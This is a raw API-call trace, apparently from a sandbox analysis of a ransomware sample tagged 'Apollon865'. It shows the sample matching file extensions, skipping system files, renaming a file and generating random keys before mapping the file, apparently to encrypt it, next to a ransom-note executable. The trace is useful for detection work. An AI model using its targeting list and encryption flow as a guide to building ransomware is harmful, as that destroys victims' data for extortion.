	[0053.933] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0053.933] lstrlenW (lpString="maq") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0053.933] lstrlenW (lpString="mar") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0053.933] lstrlenW (lpString="marshal") returned 7
	[0053.933] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0053.933] lstrlenW (lpString="mas") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0053.933] lstrlenW (lpString="mav") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0053.933] lstrlenW (lpString="maw") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0053.934] lstrlenW (lpString="mdbhtml") returned 7
	[0053.934] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0053.934] lstrlenW (lpString="mdn") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0053.934] lstrlenW (lpString="mdt") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0053.934] lstrlenW (lpString="mfd") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0053.934] lstrlenW (lpString="mpd") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0053.934] lstrlenW (lpString="mrg") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0053.934] lstrlenW (lpString="mud") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0053.934] lstrlenW (lpString="mwb") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0053.934] lstrlenW (lpString="myd") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0053.934] lstrlenW (lpString="ndf") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0053.934] lstrlenW (lpString="nnt") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0053.934] lstrlenW (lpString="nrmlib") returned 6
	[0053.934] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0053.934] lstrlenW (lpString="ns2") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0053.934] lstrlenW (lpString="ns3") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0053.934] lstrlenW (lpString="ns4") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0053.934] lstrlenW (lpString="nsf") returned 3
	[0053.934] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0053.935] lstrlenW (lpString="nv") returned 2
	[0053.935] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0053.935] lstrlenW (lpString="nv2") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0053.935] lstrlenW (lpString="nwdb") returned 4
	[0053.935] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0053.935] lstrlenW (lpString="nyf") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0053.935] lstrlenW (lpString="odb") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.935] lstrlenW (lpString="odb") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0053.935] lstrlenW (lpString="oqy") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0053.935] lstrlenW (lpString="ora") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0053.935] lstrlenW (lpString="orx") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0053.935] lstrlenW (lpString="owc") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0053.935] lstrlenW (lpString="p96") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0053.935] lstrlenW (lpString="p97") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0053.935] lstrlenW (lpString="pan") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0053.935] lstrlenW (lpString="pdb") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0053.935] lstrlenW (lpString="pdm") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0053.935] lstrlenW (lpString="pnz") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0053.935] lstrlenW (lpString="qry") returned 3
	[0053.935] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0053.936] lstrlenW (lpString="qvd") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0053.936] lstrlenW (lpString="rbf") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0053.936] lstrlenW (lpString="rctd") returned 4
	[0053.936] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0053.936] lstrlenW (lpString="rod") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0053.936] lstrlenW (lpString="rodx") returned 4
	[0053.936] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0053.936] lstrlenW (lpString="rpd") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0053.936] lstrlenW (lpString="rsd") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0053.936] lstrlenW (lpString="sas7bdat") returned 8
	[0053.936] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0053.936] lstrlenW (lpString="sbf") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0053.936] lstrlenW (lpString="scx") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0053.936] lstrlenW (lpString="sdb") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0053.936] lstrlenW (lpString="sdc") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0053.936] lstrlenW (lpString="sdf") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0053.936] lstrlenW (lpString="sis") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0053.936] lstrlenW (lpString="spq") returned 3
	[0053.936] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0053.936] lstrlenW (lpString="te") returned 2
	[0053.936] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0053.936] lstrlenW (lpString="teacher") returned 7
	[0053.936] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0053.937] lstrlenW (lpString="tmd") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0053.937] lstrlenW (lpString="tps") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0053.937] lstrlenW (lpString="trc") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.937] lstrlenW (lpString="trc") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0053.937] lstrlenW (lpString="trm") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0053.937] lstrlenW (lpString="udb") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0053.937] lstrlenW (lpString="udl") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0053.937] lstrlenW (lpString="usr") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0053.937] lstrlenW (lpString="v12") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0053.937] lstrlenW (lpString="vis") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0053.937] lstrlenW (lpString="vpd") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0053.937] lstrlenW (lpString="vvv") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0053.937] lstrlenW (lpString="wdb") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0053.937] lstrlenW (lpString="wmdb") returned 4
	[0053.937] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0053.937] lstrlenW (lpString="wrk") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0053.937] lstrlenW (lpString="xdb") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0053.937] lstrlenW (lpString="xld") returned 3
	[0053.937] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0053.938] lstrlenW (lpString="xmlff") returned 5
	[0053.938] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0053.938] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.Apollon865") returned 96
	[0053.938] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0053.938] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.938] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=146) returned 1
	[0053.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.939] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.940] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.940] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.940] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a0, lpName=0x0) returned 0x118
	[0053.948] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a0) returned 0x100000
	[0053.949] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.950] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.950] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.951] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.951] CloseHandle (hObject=0x118) returned 1
	[0053.951] CloseHandle (hObject=0xc0) returned 1
	[0053.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.951] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e51ccf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e51ccf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.951] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.951] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de234aa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1
	[0053.951] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.951] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0053.951] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1
	[0053.951] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1
	[0053.951] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="windows") returned -1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="bootmgr") returned 1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="temp") returned -1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="pagefile.sys") returned 1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="boot") returned 1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="ids.txt") returned 1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="ntuser.dat") returned 1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="perflogs") returned 1
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2="MSBuild") returned 1
	[0053.952] lstrlenW (lpString="Shows Desktop.lnk") returned 17
	[0053.952] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 85
	[0053.952] lstrcpyW (in: lpString1=0x119e69c, lpString2="Shows Desktop.lnk" | out: lpString1="Shows Desktop.lnk") returned="Shows Desktop.lnk"
	[0053.952] lstrlenW (lpString="Shows Desktop.lnk") returned 17
	[0053.952] lstrlenW (lpString="Apollon865") returned 10
	[0053.952] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0053.952] lstrlenW (lpString=".dll") returned 4
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".dll") returned 1
	[0053.952] lstrlenW (lpString=".lnk") returned 4
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".lnk") returned 1
	[0053.952] lstrlenW (lpString=".ini") returned 4
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".ini") returned 1
	[0053.952] lstrlenW (lpString=".sys") returned 4
	[0053.952] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".sys") returned 1
	[0053.952] lstrlenW (lpString="Shows Desktop.lnk") returned 17
	[0053.952] lstrlenW (lpString="bak") returned 3
	[0053.952] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0053.952] lstrlenW (lpString="ba_") returned 3
	[0053.952] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0053.952] lstrlenW (lpString="dbb") returned 3
	[0053.952] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0053.952] lstrlenW (lpString="vmdk") returned 4
	[0053.952] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0053.952] lstrlenW (lpString="rar") returned 3
	[0053.952] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0053.952] lstrlenW (lpString="zip") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0053.953] lstrlenW (lpString="tgz") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0053.953] lstrlenW (lpString="vbox") returned 4
	[0053.953] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0053.953] lstrlenW (lpString="vdi") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0053.953] lstrlenW (lpString="vhd") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0053.953] lstrlenW (lpString="vhdx") returned 4
	[0053.953] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0053.953] lstrlenW (lpString="avhd") returned 4
	[0053.953] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0053.953] lstrlenW (lpString="db") returned 2
	[0053.953] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0053.953] lstrlenW (lpString="db2") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0053.953] lstrlenW (lpString="db3") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0053.953] lstrlenW (lpString="dbf") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0053.953] lstrlenW (lpString="mdf") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0053.953] lstrlenW (lpString="mdb") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0053.953] lstrlenW (lpString="sql") returned 3
	[0053.953] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0053.953] lstrlenW (lpString="sqlite") returned 6
	[0053.953] lstrcmpiW (lpString1="op.lnk", lpString2="sqlite") returned -1
	[0053.953] lstrlenW (lpString="sqlite3") returned 7
	[0053.953] lstrcmpiW (lpString1="top.lnk", lpString2="sqlite3") returned 1
	[0053.953] lstrlenW (lpString="sqlitedb") returned 8
	[0053.953] lstrcmpiW (lpString1="ktop.lnk", lpString2="sqlitedb") returned -1
	[0053.954] lstrlenW (lpString="xml") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0053.954] lstrlenW (lpString="$er") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0053.954] lstrlenW (lpString="4dd") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0053.954] lstrlenW (lpString="4dl") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0053.954] lstrlenW (lpString="^^^") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0053.954] lstrlenW (lpString="abs") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0053.954] lstrlenW (lpString="abx") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0053.954] lstrlenW (lpString="accdb") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accdb") returned 1
	[0053.954] lstrlenW (lpString="accdc") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accdc") returned 1
	[0053.954] lstrlenW (lpString="accde") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accde") returned 1
	[0053.954] lstrlenW (lpString="accdr") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accdr") returned 1
	[0053.954] lstrlenW (lpString="accdt") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accdt") returned 1
	[0053.954] lstrlenW (lpString="accdw") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accdw") returned 1
	[0053.954] lstrlenW (lpString="accft") returned 5
	[0053.954] lstrcmpiW (lpString1="p.lnk", lpString2="accft") returned 1
	[0053.954] lstrlenW (lpString="adb") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0053.954] lstrlenW (lpString="adb") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0053.954] lstrlenW (lpString="ade") returned 3
	[0053.954] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0053.955] lstrlenW (lpString="adf") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0053.955] lstrlenW (lpString="adn") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0053.955] lstrlenW (lpString="adp") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0053.955] lstrlenW (lpString="alf") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0053.955] lstrlenW (lpString="ask") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0053.955] lstrlenW (lpString="btr") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0053.955] lstrlenW (lpString="cat") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0053.955] lstrlenW (lpString="cdb") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0053.955] lstrlenW (lpString="ckp") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0053.955] lstrlenW (lpString="cma") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0053.955] lstrlenW (lpString="cpd") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0053.955] lstrlenW (lpString="dacpac") returned 6
	[0053.955] lstrcmpiW (lpString1="op.lnk", lpString2="dacpac") returned 1
	[0053.955] lstrlenW (lpString="dad") returned 3
	[0053.955] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0053.955] lstrlenW (lpString="dadiagrams") returned 10
	[0053.955] lstrcmpiW (lpString1="esktop.lnk", lpString2="dadiagrams") returned 1
	[0053.955] lstrlenW (lpString="daschema") returned 8
	[0053.955] lstrcmpiW (lpString1="ktop.lnk", lpString2="daschema") returned 1
	[0053.955] lstrlenW (lpString="db-journal") returned 10
	[0053.955] lstrcmpiW (lpString1="esktop.lnk", lpString2="db-journal") returned 1
	[0053.955] lstrlenW (lpString="db-shm") returned 6
	[0053.955] lstrcmpiW (lpString1="op.lnk", lpString2="db-shm") returned 1
	[0053.955] lstrlenW (lpString="db-wal") returned 6
	[0053.956] lstrcmpiW (lpString1="op.lnk", lpString2="db-wal") returned 1
	[0053.956] lstrlenW (lpString="dbc") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0053.956] lstrlenW (lpString="dbs") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0053.956] lstrlenW (lpString="dbt") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0053.956] lstrlenW (lpString="dbv") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0053.956] lstrlenW (lpString="dbx") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0053.956] lstrlenW (lpString="dcb") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0053.956] lstrlenW (lpString="dct") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0053.956] lstrlenW (lpString="dcx") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0053.956] lstrlenW (lpString="ddl") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0053.956] lstrlenW (lpString="dlis") returned 4
	[0053.956] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0053.956] lstrlenW (lpString="dp1") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0053.956] lstrlenW (lpString="dqy") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0053.956] lstrlenW (lpString="dsk") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0053.956] lstrlenW (lpString="dsn") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0053.956] lstrlenW (lpString="dtsx") returned 4
	[0053.956] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0053.956] lstrlenW (lpString="dxl") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0053.956] lstrlenW (lpString="eco") returned 3
	[0053.956] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0053.956] lstrlenW (lpString="ecx") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0053.957] lstrlenW (lpString="edb") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0053.957] lstrlenW (lpString="epim") returned 4
	[0053.957] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0053.957] lstrlenW (lpString="fcd") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0053.957] lstrlenW (lpString="fdb") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0053.957] lstrlenW (lpString="fic") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0053.957] lstrlenW (lpString="flexolibrary") returned 12
	[0053.957] lstrcmpiW (lpString1=" Desktop.lnk", lpString2="flexolibrary") returned -1
	[0053.957] lstrlenW (lpString="fm5") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0053.957] lstrlenW (lpString="fmp") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0053.957] lstrlenW (lpString="fmp12") returned 5
	[0053.957] lstrcmpiW (lpString1="p.lnk", lpString2="fmp12") returned 1
	[0053.957] lstrlenW (lpString="fmpsl") returned 5
	[0053.957] lstrcmpiW (lpString1="p.lnk", lpString2="fmpsl") returned 1
	[0053.957] lstrlenW (lpString="fol") returned 3
	[0053.957] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0053.957] lstrlenW (lpString="fp3") returned 3
